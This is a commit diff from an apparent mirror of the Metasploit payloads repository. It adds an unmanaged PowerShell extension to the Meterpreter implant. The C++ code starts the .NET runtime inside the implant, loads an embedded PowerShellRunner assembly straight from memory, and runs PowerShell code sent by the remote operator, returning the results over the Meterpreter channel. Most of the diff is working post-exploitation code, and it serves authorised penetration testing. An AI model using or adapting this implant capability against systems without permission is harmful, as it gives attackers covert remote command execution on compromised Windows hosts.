mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Add support for unmanaged powershell
This commit includes the ability to run a single powershell command in the current session.
This commit is contained in:
parent
af32e7289d
commit
3d94391292
@ -6,7 +6,7 @@
|
||||
#define _METERPRETER_SOURCE_COMMON_COMMON_H
|
||||
|
||||
/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */
|
||||
//#define DEBUGTRACE 0
|
||||
#define DEBUGTRACE 0
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
@ -15,6 +15,8 @@
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
static BOOL gSuccessfullyLoaded = FALSE;
|
||||
|
||||
/*! @brief List of commands that the powershell extension provides. */
|
||||
Command customCommands[] =
|
||||
{
|
||||
@ -31,9 +33,14 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
|
||||
command_register_all(customCommands);
|
||||
DWORD result = initialize_dotnet_host();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
if (result == ERROR_SUCCESS)
|
||||
{
|
||||
command_register_all(customCommands);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -44,6 +51,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
deinitialize_dotnet_host();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
14
c/meterpreter/source/extensions/powershell/powershell.h
Normal file → Executable file
14
c/meterpreter/source/extensions/powershell/powershell.h
Normal file → Executable file
@ -0,0 +1,14 @@
|
||||
/*!
|
||||
* @file powershell.h
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_H
|
||||
|
||||
#include "../../common/common.h"
|
||||
|
||||
#define TLV_TYPE_EXTENSION_PSH 0
|
||||
|
||||
#define TLV_TYPE_POWERSHELL_CODE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PSH, TLV_EXTENSIONS + 1)
|
||||
#define TLV_TYPE_POWERSHELL_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PSH, TLV_EXTENSIONS + 2)
|
||||
|
||||
#endif
|
@ -4,9 +4,225 @@
|
||||
*/
|
||||
extern "C" {
|
||||
#include "../../common/common.h"
|
||||
#include "powershell.h"
|
||||
#include "powershell_bridge.h"
|
||||
}
|
||||
|
||||
#include <comdef.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
#include "powershell_runner.h"
|
||||
|
||||
#define SAFE_RELEASE(x) if((x) != NULL) { (x)->Release(); x = NULL; }
|
||||
|
||||
#import "mscorlib.tlb" raw_interfaces_only \
|
||||
high_property_prefixes("_get","_put","_putref") \
|
||||
rename("ReportEvent", "InteropServices_ReportEvent")
|
||||
using namespace mscorlib;
|
||||
|
||||
static ICLRMetaHost* gClrMetaHost = NULL;
|
||||
static ICLRRuntimeInfo* gClrRuntimeInfo = NULL;
|
||||
static ICorRuntimeHost* gClrCorRuntimeHost = NULL;
|
||||
static IUnknownPtr gClrAppDomain = NULL;
|
||||
static _AppDomainPtr gClrAppDomainInterface = NULL;
|
||||
static _AssemblyPtr gClrPowershellAssembly = NULL;
|
||||
static _TypePtr gClrPowershellType = NULL;
|
||||
|
||||
DWORD InvokePowershellMethod(_TypePtr spType, wchar_t* method, wchar_t* command, _bstr_t& output)
|
||||
{
|
||||
HRESULT hr;
|
||||
bstr_t bstrStaticMethodName(method);
|
||||
SAFEARRAY *psaStaticMethodArgs = NULL;
|
||||
variant_t vtStringArg(command);
|
||||
variant_t vtPSInvokeReturnVal;
|
||||
variant_t vtEmpty;
|
||||
LONG index = 0;
|
||||
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
do
|
||||
{
|
||||
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] failed to prepare arguments: 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
// Invoke the method from the Type interface.
|
||||
hr = spType->InvokeMember_3(
|
||||
bstrStaticMethodName,
|
||||
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
||||
NULL,
|
||||
vtEmpty,
|
||||
psaStaticMethodArgs,
|
||||
&vtPSInvokeReturnVal);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] failed to invoke powershell function", hr);
|
||||
break;
|
||||
}
|
||||
output = vtPSInvokeReturnVal.bstrVal;
|
||||
} while (0);
|
||||
|
||||
if (psaStaticMethodArgs != NULL)
|
||||
{
|
||||
SafeArrayDestroy(psaStaticMethodArgs);
|
||||
}
|
||||
|
||||
if (SUCCEEDED(S_OK))
|
||||
{
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
return (DWORD)hr;
|
||||
}
|
||||
|
||||
DWORD initialize_dotnet_host()
|
||||
{
|
||||
HRESULT hr = S_OK;
|
||||
ICLRMetaHost* clrMetaHost = NULL;
|
||||
ICLRRuntimeInfo* clrRuntimeInfo = NULL;
|
||||
ICorRuntimeHost* clrCorRuntimeHost = NULL;
|
||||
IUnknownPtr clrAppDomain = NULL;
|
||||
_AppDomainPtr clrAppDomainInterface = NULL;
|
||||
_AssemblyPtr clrPowershellAssembly = NULL;
|
||||
_TypePtr clrPowershellType = NULL;
|
||||
SAFEARRAY* clrByteArray = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
dprintf("[PSH] Creating the metahost instance");
|
||||
if (FAILED(hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&clrMetaHost))))
|
||||
{
|
||||
dprintf("[PSH] Failed to create instace of the CLR metahost 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Getting a reference to the .NET runtime");
|
||||
if (FAILED(hr = clrMetaHost->GetRuntime(L"v2.0.50727", IID_PPV_ARGS(&clrRuntimeInfo))))
|
||||
{
|
||||
dprintf("[PSH] Failed to get runtime instance 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Determining loadablility");
|
||||
BOOL loadable = FALSE;
|
||||
if (FAILED(hr = clrRuntimeInfo->IsLoadable(&loadable)))
|
||||
{
|
||||
dprintf("[PSH] Unable to determine of runtime is loadable 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!loadable)
|
||||
{
|
||||
dprintf("[PSH] Chosen runtime isn't loadable, exiting.");
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Instantiating the COR runtime host");
|
||||
hr = clrRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(&clrCorRuntimeHost));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
dprintf("[PSH] Unable to get a reference to the COR runtime host 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Starting the COR runtime host");
|
||||
if (FAILED(hr = clrCorRuntimeHost->Start()))
|
||||
{
|
||||
dprintf("[PSH] Unable to start the COR runtime host 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Getting a ref to the app domain");
|
||||
if (FAILED(hr = clrCorRuntimeHost->GetDefaultDomain(&clrAppDomain)))
|
||||
{
|
||||
dprintf("[PSH] Unable to get the app domain 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Getting a ref to the app domain interface");
|
||||
if (FAILED(hr = clrAppDomain->QueryInterface(IID_PPV_ARGS(&clrAppDomainInterface))))
|
||||
{
|
||||
dprintf("[PSH] Unable to get the app domain interface 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] CLR app domain ready to run, now loading the powershell runner");
|
||||
SAFEARRAYBOUND bounds[1];
|
||||
bounds[0].cElements = PSHRUNNER_DLL_LEN;
|
||||
bounds[0].lLbound = 0;
|
||||
|
||||
clrByteArray = SafeArrayCreate(VT_UI1, 1, bounds);
|
||||
if (clrByteArray == NULL)
|
||||
{
|
||||
dprintf("[PSH] Failed to create a usable safe array");
|
||||
hr = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
if (FAILED(hr = SafeArrayLock(clrByteArray)))
|
||||
{
|
||||
dprintf("[PSH] Safe array lock failed 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
memcpy(clrByteArray->pvData, PowerShellRunnerDll, PSHRUNNER_DLL_LEN);
|
||||
SafeArrayUnlock(clrByteArray);
|
||||
|
||||
if (FAILED(hr = clrAppDomainInterface->Load_3(clrByteArray, &clrPowershellAssembly)))
|
||||
{
|
||||
dprintf("[PSH] Failed to load the powershell runner assembly 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Loading the type from memory");
|
||||
_bstr_t pshClassName("PowerShellRunner.PowerShellRunner");
|
||||
if (FAILED(hr = clrPowershellAssembly->GetType_2(pshClassName, &clrPowershellType)))
|
||||
{
|
||||
dprintf("[PSH] Unable to locate the powershell class type 0x%x", hr);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PSH] Runtime has been initialized successfully");
|
||||
} while(0);
|
||||
|
||||
if (clrByteArray != NULL)
|
||||
{
|
||||
SafeArrayDestroy(clrByteArray);
|
||||
}
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
SAFE_RELEASE(clrPowershellAssembly);
|
||||
SAFE_RELEASE(clrAppDomainInterface);
|
||||
SAFE_RELEASE(clrCorRuntimeHost);
|
||||
SAFE_RELEASE(clrRuntimeInfo);
|
||||
SAFE_RELEASE(clrMetaHost);
|
||||
return (DWORD)hr;
|
||||
}
|
||||
|
||||
gClrMetaHost = clrMetaHost;
|
||||
gClrRuntimeInfo = clrRuntimeInfo;
|
||||
gClrCorRuntimeHost = clrCorRuntimeHost;
|
||||
gClrAppDomainInterface = clrAppDomainInterface;
|
||||
gClrAppDomain = clrAppDomain;
|
||||
gClrPowershellAssembly = clrPowershellAssembly;
|
||||
gClrPowershellType = clrPowershellType;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
VOID deinitialize_dotnet_host()
|
||||
{
|
||||
dprintf("[PSH] Cleaning up the .NET/PSH runtime.");
|
||||
SAFE_RELEASE(gClrPowershellType);
|
||||
SAFE_RELEASE(gClrPowershellAssembly);
|
||||
SAFE_RELEASE(gClrAppDomainInterface);
|
||||
SAFE_RELEASE(gClrCorRuntimeHost);
|
||||
SAFE_RELEASE(gClrRuntimeInfo);
|
||||
SAFE_RELEASE(gClrMetaHost);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Handle the request for powershell execution.
|
||||
* @param remote Pointer to the \c Remote making the request.
|
||||
@ -20,6 +236,23 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
|
||||
if (response)
|
||||
{
|
||||
char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
|
||||
if (code != NULL)
|
||||
{
|
||||
_bstr_t codeMarshall(code);
|
||||
_bstr_t output;
|
||||
|
||||
dwResult = InvokePowershellMethod(gClrPowershellType, L"InvokePS", codeMarshall, output);
|
||||
if (dwResult == ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[PSH] Code parameter missing from call");
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
|
@ -1,10 +1,12 @@
|
||||
/*!
|
||||
* @file poweshell_bridge.h
|
||||
* @file powershell_bridge.h
|
||||
* @brief Declarations for powershell request handlers (bridged into managed C++)
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_BRIDGE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_BRIDGE_H
|
||||
|
||||
DWORD initialize_dotnet_host();
|
||||
VOID deinitialize_dotnet_host();
|
||||
DWORD request_powershell_execute(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
||||
|
1200
c/meterpreter/source/extensions/powershell/powershell_runner.cpp
Executable file
1200
c/meterpreter/source/extensions/powershell/powershell_runner.cpp
Executable file
File diff suppressed because it is too large
Load Diff
11
c/meterpreter/source/extensions/powershell/powershell_runner.h
Executable file
11
c/meterpreter/source/extensions/powershell/powershell_runner.h
Executable file
@ -0,0 +1,11 @@
|
||||
/*!
|
||||
* @file powershell_runner.h
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
|
||||
|
||||
#define PSHRUNNER_DLL_LEN 14336
|
||||
|
||||
extern unsigned char PowerShellRunnerDll[PSHRUNNER_DLL_LEN];
|
||||
|
||||
#endif
|
@ -90,7 +90,7 @@
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
@ -141,7 +141,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
@ -194,7 +194,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
@ -245,7 +245,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
@ -274,10 +274,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\powershell\powershell.c" />
|
||||
<ClCompile Include="..\..\source\extensions\powershell\powershell_bridge.cpp" />
|
||||
<ClCompile Include="..\..\source\extensions\powershell\powershell_runner.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\powershell\powershell.h" />
|
||||
<ClInclude Include="..\..\source\extensions\powershell\powershell_bridge.h" />
|
||||
<ClInclude Include="..\..\source\extensions\powershell\powershell_runner.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
|
||||
|
Loading…
Reference in New Issue
Block a user